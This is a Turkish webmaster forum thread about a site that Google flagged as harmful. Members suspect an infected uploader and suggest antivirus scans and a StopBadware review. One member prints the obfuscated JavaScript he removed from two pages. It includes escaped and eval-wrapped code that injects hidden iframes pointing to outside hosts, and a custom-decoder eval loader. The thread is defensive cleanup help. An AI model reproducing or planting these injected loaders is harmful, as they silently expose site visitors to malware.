Google sitemizi zararlı içerik barındırdığı için yasakladı

[iyinet]

MéDicLiFé´isimli üyeden Alıntı

özelden yolladım.
konuyu ben editleyene kadar ilk bakanlar;

iyinet, tırtıl, tiva ve TrDownload

dilerseniz lisans gönderebilirim sizlere hemen antivirüs için. gerekirse yeni lisans alırım problem olmaz.

+

googledanda ösür dileris

Ben sayfalara girmedim, Loi yi bekliyordum ama başka arkadaşlar girmiş sanırım.
Trojan yiyenler Kaspersky ile sistemlerini taratsınlar, Kaspersky yoksa 1 aylık deneme sürümünü indirebilirsiniz.

[MéDicLiFé]

Siteyi dmozdanda sildim şimdi başkalarıda zarar görmesin diye...
arkadaşlar benim merak ettiğim 3 soru var.

1. bu kodun amacı nedir? nasıl zarar veriyor yani kullanıcılara hangi amaçla yazılmış?
2. bu kod siteye nasıl girer? siteyi yaptırdığımız kişinin sokma ihtimali nedir? ve hangi zihniyet ile sokmuş olabilir o yaptıysa...
3. bunun çözümü nedir?

[tiva]

MéDicLiFé´isimli üyeden Alıntı

Ve bizim için en önemlisi=> TUTTUĞUMUZ ELEMANIN BUNU YAPMA İHTİMALİ NEDİR?

Muhtemelen bu kişide farkında değildir, onun bilgisayarına bulaşmıştır, bu arkadaşı uyarırsanız iyi olur, diğer upload yapabildiği sitelerde de bu kodlar vardır.

[iyinet]

Bence de Tiva nın dediği gibi o kişi de farkında değildir, ftp upload yaparken bulaşmış dosyaları farkında olmadan servera atmıştır.
Sanırım bu trojan kendini dosyaların içine inject ediyor ve sonra o sayfayı gezenlere başka siteden aldığı (iframe büyük ihtimalle) kodu bulaştırıyor.
Bunu neden yaparlar: botnet oluşturmak çin olabilir, reklam tıklamak için olabilir, ...

[Tırtıl]

iyinet, tırtıl, tiva ve TrDownload

dilerseniz lisans gönderebilirim sizlere hemen antivirüs için. gerekirse yeni lisans alırım problem olmaz.

+

googledanda ösür dileris

Teklifin için teşekkür ederim arkadaşım ama kaspersky ile taratıyorum şimdi birazdan hallolur sanırım.Dilerim temizlersin siteni.Kolay gelsin.

[TrDownload]

arkadaşın sitesindeki sorun tarafımdan halledildi

sayfalarda aşağıdaki kodları buldum

index.php

PHP- Kodu:

<script type="text/javascript">
document.write('\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020\u0073\u0072\u0063\u003d\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0062\u0069\u0067\u0073\u0074\u006f\u0072\u0065\u0075\u0073\u002e\u0069\u006e\u0066\u006f\u002f\u0069\u006e\u0064\u0065\u0078\u002e\u0070\u0068\u0070\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0031\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0031\u0020\u0073\u0074\u0079\u006c\u0065\u003d\u0022\u0064\u0069\u0073\u0070\u006c\u0061\u0079\u003a\u006e\u006f\u006e\u0065\u0022\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u003e');
</script><!-- o --><!-- c --><script>eval(unescape("%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66%72%61%6d%65%20%6e%61%6d%65%3d%64%30%66%20%73%72%63%3d%5c%27%68%74%74%70%3a%2f%2f%74%72%61%66%66%75%72%6c%2e%72%75%2f%73%6c%69%76%3f%27%2b%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%35%31%35%38%34%29%2b%27%66%38%38%62%61%39%5c%27%20%77%69%64%74%68%3d%34%31%36%20%68%65%69%67%68%74%3d%31%32%34%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%5c%27%3e%3c%2f%69%66%72%61%6d%65%3e%27%29")); </script>


index2

<script language=JavaScript>function ockban(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,57,48,36,40,34,29,26,61,41,0,0,0,0,0,0,59,1,46,3,33,28,27,32,49,50,21,35,22,31,11,16,15,24,38,53,39,54,14,4,60,42,12,0,0,0,0,25,0,30,23,7,13,6,5,45,44,10,47,8,2,62,51,55,17,52,0,43,20,56,58,37,9,18,19);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){{w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(236^w&255);w>>=8;s-=2}else{s=6}}}eval(r);}}ockban('FL4GkVuRl0xRd5_RMe8I4V4GxBXSkVuK_eQ5l592Fv_DQRkHNC6Div_KARknlUQGxe8oxU8UZ09TPegnW5xRE782C@8TERQ5kiEDlYuGCK12zjXHDUkRWihTCR9GkyE4d5xDl@_Kl5uGAyEHe0gUMsdofMXIMTQoFjXHN@ZnFLk5QyQqQndUZzQ5fBkDQe6SEnXTQLxGxegnkLuTElQKJ7gGCiQ5VNdqCb45aUQGxi8IfC')</script><!-- 84.51.17.241 --> 


[Robinyz]

http://www.bigstoreus.info/index.php

bu siteye iframe verilmiş.
Hocam buradaki gerekli formu doldurun; http://www.stopbadware.org/home/reviewinfo 3-4 gün içerisinde siten eski haline dönecektir. Bende de olmuştu bir keresinde

[Tırtıl]

Peki ne amaçla yazılmış çözebilen var mı arkadaşlar.

[MéDicLiFé]

Gerçekten çok teşekkür ederim. TrDownload yakından ilgilendi Allah razı olsun kendisinden.
Şimdi kontrol ediyorum başka sayfalardada aynı sorun varmı diye.
Bir daha aynı sorunla karşılaşırsam nasıl üstesinden gelebileceğimizide öğretti. Tekrar teşekkür ederim kendisine.
İçerikleri temizledikten sonra başvuru formunu dolduracağım hemen.

[TrDownload]

ben bişey yapmadım yahu iki tane javascript kodu vardı iki sayfada onları kaldırdım
arkadaşıda uyardım sitedeki diğer sayfalardada olabilir kontrol et onlarıda kaldır meğer ne büyük adammışım